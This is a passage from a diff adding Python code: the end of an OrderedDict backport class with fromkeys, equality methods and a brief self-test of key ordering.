self.__class__(self) + + @classmethod + def fromkeys(cls, iterable, value=None): + d = cls() + for key in iterable: + d[key] = value + return d + + def __eq__(self, other): + if isinstance(other, OrderedDict): + return len(self)==len(other) and \ + min(p==q for p, q in zip(self.items(), other.items())) + return dict.__eq__(self, other) + + def __ne__(self, other): + return not self == other + + +if __name__ == '__main__': + d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)]) + assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh']